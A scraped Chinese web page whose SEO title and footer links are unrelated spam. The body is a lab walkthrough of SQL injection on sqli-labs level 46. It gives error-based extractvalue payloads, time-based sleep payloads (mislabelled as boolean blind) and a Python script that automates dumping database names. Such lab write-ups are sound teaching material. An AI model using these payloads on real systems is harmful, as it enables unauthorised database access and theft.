当前位置: 首页 > news >正文

水处理网站源码产品推广的渠道

水处理网站源码,产品推广的渠道,网站制作的公司哪个好,网站的控制面板实验描述 本实验基于sqli-lab的第46关进行测试 本关的sql 语句为$sql "SELECT * FROM users ORDER BY $id" 利用sort进行sql注入,我们可以利用报错注入,延时注入来爆出数据 1.报错注入 1.手工测试 爆出数据库 ?sort(extractvalue(1, c…

实验描述

本实验基于sqli-lab的第46关进行测试

本关的sql 语句为$sql = "SELECT * FROM users ORDER BY $id"

利用sort进行sql注入,我们可以利用报错注入,延时注入来爆出数据

1.报错注入

1.手工测试

爆出数据库

?sort=(extractvalue(1, concat(0x7e, (select schema_name from information_schema.schemata limit 1,1))))

爆出数据库中的表

?sort=(extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1))))

 爆出表中的列

?sort=(extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1))))

爆出列值

?sort=(extractvalue(1,concat(0x7e,(select username from users where id=1))))

2.代码实现

import requests
import re# 目标URL (根据实际环境修改)
target_url = "http://172.25.254.145/sqli-labs-php7-master/Less-46/"def extract_database_name():database_names = []index = 0while True:# 构造注入Payloadpayload = {"sort": f"(extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit {index},1))))"}try:# 发送GET请求response = requests.get(target_url, params=payload, timeout=10)response.raise_for_status()# 正则匹配错误信息中的数据库名error_pattern = r"XPATH syntax error: '~([^']+)"match = re.search(error_pattern, response.text)if match:db_name = match.group(1)database_names.append(db_name)print(f"成功提取数据库名: {db_name}")index += 1else:if index == 0:print("找到数据库名,可能漏洞不存在或错误信息被隐藏")else:print("已提取所有数据库名")breakexcept requests.exceptions.Timeout:print(f"[-] 请求超时,索引为 {index},继续尝试...")except requests.exceptions.HTTPError as http_err:print(f"[-] HTTP请求错误,索引为 {index}: {http_err}")except requests.exceptions.RequestException as e:print(f"[-] 请求失败,索引为 {index}: {e}")return database_namesif __name__ == "__main__":all_database_names = extract_database_name()

结果

 同理,修改sql注入语句,即可爆出所有的数据信息

2.布尔盲注

错误按照username执行排序,否则结果正确

正确结果如下

错误结果如下

判断当前数据库的名称 

?sort=if((substr(database(),1,1)='s'),(select 1 from (select sleep(2)) as b),username)

判断第一个数据库的名称

?sort=if((ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105),(select 1 from (select sleep(2)) as b),username)

爆出数据库表(emali表)

?sort=if((ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101),(select 1 from (select sleep(2)) as b),username)

爆出列值(USER)

?sort=if((ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=101),(select 1 from (select sleep(2)) as b),username)

 根据上述sql语句可以获得数据库的信息

http://www.dt0577.cn/news/25820.html

相关文章:

  • 企业怎么样上各大网站做宣传什么是seo标题优化
  • 德阳公司做网站自建站模板
  • 做美妆批发的网站西安搜建站科技网站
  • 代网站建设百度关键词怎么刷上去
  • 一个专门做海鲜的网站电商平台网站
  • 找建设网站公司吗怎么在百度上推广自己的店铺
  • wordpress怎么进入seo 页面
  • wordpress建企业展示分析网站推广和优化的原因
  • 福田欧曼官方网站优化教程网站推广排名
  • 北京 做网站seo网络优化招聘信息
  • 龙岗网站建设网站排名优化企业网站运营推广
  • 响应式网站建设方案推广赚钱的平台
  • 同一个wifi下_我如何用手机访问我用我电脑做服务器的网站无锡今日头条新闻
  • dw做网站设计搜索大全引擎入口网站
  • 吉林系统建站怎么用湖南发展最新消息公告
  • 做烘焙的网站百度指数官方
  • 凡科网做网站教程百度知道官网首页登录入口
  • 网站优化推广超级seo助手
  • 大图网 网站关键词挖掘工具爱网
  • 个人备案网站做什么google adsense
  • 设计广告网站新能源汽车公司
  • 永久免费的wap建站平台全专业优化公司
  • 网站建设消费者群体分析宁波seo推广如何收费
  • 西安新冠疫情最新消息今天牡丹江网站seo
  • 大连哪里有手机自适应网站建设网络营销推广方式都有哪些
  • 可以悬赏做任务的叫什么网站经典软文案例分析
  • 网站搭建软件d北京seo服务商找行者seo
  • 鲜花网站开发毕业设计google推广技巧
  • 超大免费网站空间发帖秒收录的网站
  • 太和县建设局网站武汉网站推广优化